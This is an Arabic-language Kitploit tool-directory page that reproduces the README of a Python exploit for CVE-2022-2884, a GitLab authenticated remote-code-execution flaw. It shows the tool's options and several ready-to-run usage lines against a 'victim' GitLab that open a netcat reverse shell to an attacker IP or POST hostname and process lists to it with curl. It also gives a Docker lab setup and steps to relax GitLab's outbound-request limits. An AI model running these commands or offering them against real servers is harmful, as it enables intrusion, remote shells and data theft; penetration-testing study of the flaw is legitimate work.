Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
gitlab_rce_cve-2022-2884 — يستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) الموثّقة في GitLab والمعروفة باسم CVE-2022-2884. | Kitploit
أدوات/GitHubGitHub/m3ssap0/gitlab_rce_cve-2022-2884
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعد
GitHubm3ssap0/gitlab_rce_cve-2022-2884

gitlab_rce_cve-2022-2884

يستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) الموثّقة في GitLab والمعروفة باسم CVE-2022-2884.

عرض المستودع
2663منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

gitlab_rce_cve-2022-2884

هذا برنامج بلغة Python3 يستغل ثغرة تنفيذ الأوامر عن بُعد (RCE) الموثّقة في GitLab والمعروفة باسم CVE-2022-2884.

إخلاء المسؤولية

هذه الأداة مخصصة لمهندسي الأمن والمتخصصين في أمن التطبيقات لإجراء تقييمات أمنية. يرجى استخدام هذه الأداة بمسؤولية. لا أتحمل مسؤولية الطريقة التي يستخدم بها أي شخص هذا التطبيق. لست مسؤولاً عن أي أضرار ناتجة أو أي جرائم تُرتكب باستخدام هذه الأداة.

معلومات الثغرة

  • CVE-ID: CVE-2022-2884
  • الرابط: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2884
  • الوصف: ثغرة في GitLab CE/EE تؤثر على جميع الإصدارات من 11.3.4 حتى ما قبل 15.1.5، و15.2 حتى 15.2.3، و15.3 حتى 15.3.1 تسمح لمستخدم موثّق بتنفيذ أوامر عن بُعد عبر نقطة نهاية Import from GitHub API.
  • رابط المورّد: https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/

المساعدة

root@kitploit:~
$ ./gitlab_rce_cve-2022-2884.py --help
usage: gitlab_rce_cve-2022-2884.py [-h] -u URL -pt PRIVATE_TOKEN [-tn TARGET_NAMESPACE] -a ADDRESS [-p PORT] [-s] -c COMMAND [-d DELAY] [-v]

Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - v1.0 (2022-12-25)

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL of the victim GitLab
  -pt PRIVATE_TOKEN, --private-token PRIVATE_TOKEN
                        private token of GitLab
  -tn TARGET_NAMESPACE, --target-namespace TARGET_NAMESPACE
                        target namespace of GitLab (default is 'root')
  -a ADDRESS, --address ADDRESS
                        IP address of the attacker machine
  -p PORT, --port PORT  TCP port of the attacker machine (default is 1337)
  -s, --https           set if the attacker machine is exposed via HTTPS
  -c COMMAND, --command COMMAND
                        the command to execute
  -d DELAY, --delay DELAY
                        seconds of delay to wait for the exploit to complete
  -v, --verbose         verbose mode

أمثلة

root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "id | nc 1.2.3.4 6669"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "(hostname; ps aux) | curl 1.2.3.4:6669 -X POST --data-binary @- "
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "echo 'test' > /tmp/test"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash" -d 180
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -v -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -p 1337 -c "nc 1.2.3.4 6669 -e /bin/bash"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -tn root -a 1.2.3.4 -p 1337 -s -c "nc 1.2.3.4 6669 -e /bin/bash"

التطبيق المُعرَّض للثغرة

يمكن إعداد تطبيق مُعرَّض للثغرة باستخدام الأوامر التالية.

root@kitploit:~
export GITLAB_HOME=/srv/gitlab
docker run --detach --rm \
           --hostname gitlab.example.com \
           --publish 443:443 --publish 80:80 --publish 22:22 \
           --name vuln-gitlab \
           --volume $GITLAB_HOME/config:/etc/gitlab \
           --volume $GITLAB_HOME/logs:/var/log/gitlab \
           --volume $GITLAB_HOME/data:/var/opt/gitlab \
           --shm-size 256m \
           gitlab/gitlab-ce:15.3.0-ce.0

قد يستغرق الأمر بعض الوقت قبل أن تبدأ حاوية Docker في الاستجابة للاستعلامات. ثم اتصل بـ http://localhost.

سجّل الدخول باستخدام اسم المستخدم root وكلمة المرور من الأمر التالي.

root@kitploit:~
docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password

لاختبار الاستغلال محليًا، يجب إضافة --network="host" إلى أمر docker run وإزالة القيود المفروضة على الطلبات الصادرة في GitLab:

  • اتصل بـ http://localhost/admin/application_settings/network؛
  • قم بتوسيع قسم "Outbound requests";
  • حدد "Allow requests to the local network from web hooks and services";
  • أضف 127.0.0.1 إلى مربع النص "Local IP addresses and domain names that hooks and services may access";
  • احفظ التغييرات.

الشرط المسبق للاستغلال هو امتلاك رمز خاص (private token) في GitLab:

  • اتصل بـ http://localhost/-/profile/personal_access_tokens؛
  • قم بإنشاء رمز بنطاق api على الأقل.

المؤلفون

  • Antonio Francesco Sardella - التنفيذ الرئيسي - m3ssap0

الترخيص

راجع ملف LICENSE للتفاصيل.

الإشعارات والتقدير

  • yvvdwf، الباحث الأمني الذي اكتشف الثغرة.
تنزيل الأداة